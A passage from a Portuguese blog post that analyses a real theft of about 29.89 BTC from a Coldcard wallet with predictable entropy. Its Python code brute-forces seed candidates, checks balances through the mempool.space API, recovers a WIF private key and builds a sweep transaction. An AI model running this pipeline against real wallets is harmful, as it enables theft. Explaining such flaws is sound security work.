<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">first_addresses</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">,</span> <span class="n">account</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Dada a entropia bruta, gera a mnemonic BIP39, a seed BIP32 e os
</span></span></span><span class="line"><span class="cl"><span class="s2">    primeiros endereços SegWit nativos de recebimento e troco.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addrs</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">:</span> <span class="n">mnemonic</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">change</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;m/84&#39;/0&#39;/</span><span class="si">{</span><span class="n">account</span><span class="si">}</span><span class="s2">&#39;/</span><span class="si">{</span><span class="n">change</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="n">idx</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">addr</span> <span class="o">=</span> <span class="n">p2wpkh</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">get_public_key</span><span class="p">())</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="n">label</span> <span class="o">=</span> <span class="s2">&#34;receive&#34;</span> <span class="k">if</span> <span class="n">change</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">else</span> <span class="s2">&#34;change&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">addrs</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="p">[])</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">addrs</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> pega os 32 bytes, transforma em 24 palavras BIP39, calcula a seed, abre a árvore BIP32 e deriva os endereços. Na prática o atacante testa dezenas ou centenas de índices e também outras contas.</p>
<p><strong>Exemplo:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;mnemonic&#34;]
</span></span><span class="line"><span class="cl">&#39;copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup&#39;
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;receive&#34;][0]
</span></span><span class="line"><span class="cl">&#39;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>4. Consultar a blockchain como oráculo<span class="hx:absolute hx:-mt-20" id="4-consultar-a-blockchain-como-oráculo"></span>
    <a href="#4-consultar-a-blockchain-como-or%c3%a1culo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">has_utxo</span><span class="p">(</span><span class="n">address</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;True se o endereço tiver qualquer UTXO no mempool.space.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://mempool.space/api/address/</span><span class="si">{</span><span class="n">address</span><span class="si">}</span><span class="s2">/utxo&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span><span class="o">.</span><span class="n">raise_for_status</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">())</span> <span class="o">&gt;</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;erro consultando&#34;</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> faz a pergunta real. Sem essa consulta, o atacante não saberia se acertou. A blockchain é o oráculo.</p>
<p><strong>Exemplo de não acerto:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; has_utxo(&#34;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#34;)
</span></span><span class="line"><span class="cl">False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O atacante descarta e passa ao próximo candidato.</p>
<p><strong>Exemplo de acerto</strong> (o endereço real da vítima <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, antes do sweep):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;txid&#34;</span><span class="p">:</span> <span class="s2">&#34;78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;vout&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="mi">2989251877</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;status&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;confirmed&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nt">&#34;block_height&#34;</span><span class="p">:</span> <span class="mi">960188</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Quando <code>has_utxo</code> devolve <code>True</code>, o atacante sabe que a seed que ele acabou de gerar produz aquele endereço — e, portanto, a chave privada correspondente.</p>
<h3>5. Enumerar candidatos e caçar<span class="hx:absolute hx:-mt-20" id="5-enumerar-candidatos-e-caçar"></span>
    <a href="#5-enumerar-candidatos-e-ca%c3%a7ar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk3</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Exemplo para Mk3/Mk2 v4: varre SysTick e RTC plausíveis.
</span></span></span><span class="line"><span class="cl"><span class="s2">    Na prática o atacante usa GPUs/FPGAs e restringe o UID pelo serial.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">systick</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">80_000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">rtc_tr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x000000</span><span class="p">,</span> <span class="mh">0x240000</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">rtc_ssr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk4</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Exemplo para Mk4/Q/Mk5: o fallback é fixado e o atacante enumera
</span></span></span><span class="line"><span class="cl"><span class="s2">    os 2^32 valores possíveis do reseed do secure element.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">reseed</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x100000000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">hunt</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">generator</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">entropy</span> <span class="ow">in</span> <span class="n">generator</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">candidate</span> <span class="o">=</span> <span class="n">first_addresses</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">addr</span> <span class="ow">in</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;receive&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;change&#34;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">has_utxo</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;ACERTOU!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  mnemonic:&#34;</span><span class="p">,</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  endereço :&#34;</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">candidate</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Exemplo didático: use um UID conhecido e um gerador Mk3 reduzido.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que fazem:</strong> <code>brute_mk3</code> varre estados plausíveis para Mk3; <code>brute_mk4</code> varre os 2^32 reseeds do secure element; <code>hunt</code> é o loop que gera, deriva e checa. O atacante real não roda em Python; escreve isso em C/CUDA/FPGA e paraleliza por UID. Mas a lógica é idêntica.</p>
<h2>Depois de achar a colisão<span class="hx:absolute hx:-mt-20" id="depois-de-achar-a-colisão"></span>
    <a href="#depois-de-achar-a-colis%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando <code>hunt</code> retorna, o atacante já tem a <code>mnemonic</code> e o endereço com saldo. Com elas, ele obtém a chave privada:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">addr_key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;WIF comprimido:&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">wif</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Endereço      :&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">address</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saída típica:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">WIF comprimido: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
</span></span><span class="line"><span class="cl">Endereço      : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esse WIF é a chave privada no formato que qualquer wallet entende. A partir daqui o atacante pode:</p>
<ol>
<li><strong>Importar a seed ou o WIF</strong> no Sparrow, Electrum ou outra wallet.</li>
<li><strong>Rescanar</strong> a blockchain para ver todos os UTXOs daquela seed.</li>
<li><strong>Montar uma transação</strong> mandando os fundos para um endereço que ele controla.</li>
<li><strong>Assinar e transmitir</strong>.</li>
</ol>
<h3>Exemplo concreto de sweep<span class="hx:absolute hx:-mt-20" id="exemplo-concreto-de-sweep"></span>
    <a href="#exemplo-concreto-de-sweep" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No caso real, o atacante varreu o UTXO de 29.89251877 BTC do endereço <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr...</code></a> para o endereço de consolidação. O que ele precisava produzir era uma transação assinada. O esqueleto, com valores didáticos e um input fictício, fica assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.transactions</span> <span class="kn">import</span> <span class="n">Transaction</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.keys</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># chave recuperada a partir da seed colidida</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">input_value</span>  <span class="o">=</span> <span class="mi">2_989_251_877</span>      <span class="c1"># 29.89251877 BTC, em satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">fee</span>          <span class="o">=</span> <span class="mi">7_380</span>              <span class="c1"># taxa em satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">output_value</span> <span class="o">=</span> <span class="n">input_value</span> <span class="o">-</span> <span class="n">fee</span>  <span class="c1"># o que sobra para o atacante</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">tx</span> <span class="o">=</span> <span class="n">Transaction</span><span class="p">(</span><span class="n">network</span><span class="o">=</span><span class="s1">&#39;bitcoin&#39;</span><span class="p">,</span> <span class="n">fee</span><span class="o">=</span><span class="n">fee</span><span class="p">,</span> <span class="n">witness_type</span><span class="o">=</span><span class="s1">&#39;segwit&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_input</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;</span><span class="p">,</span>  <span class="c1"># txid do UTXO da vítima</span>
</span></span><span class="line"><span class="cl">    <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">keys</span><span class="o">=</span><span class="n">key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">value</span><span class="o">=</span><span class="n">input_value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">locking_script</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s1">&#39;0014&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">key</span><span class="o">.</span><span class="n">hash160</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">script_type</span><span class="o">=</span><span class="s1">&#39;sig_pubkey&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">address</span><span class="o">=</span><span class="n">key</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_output</span><span class="p">(</span><span class="n">output_value</span><span class="p">,</span> <span class="s1">&#39;bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru&#39;</span><span class="p">)</span>  <span class="c1"># endereço do atacante</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">sign</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">tx</span><span class="o">.</span><span class="n">raw_hex</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Uma transação assinada válida tem esse formato (hex truncado):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
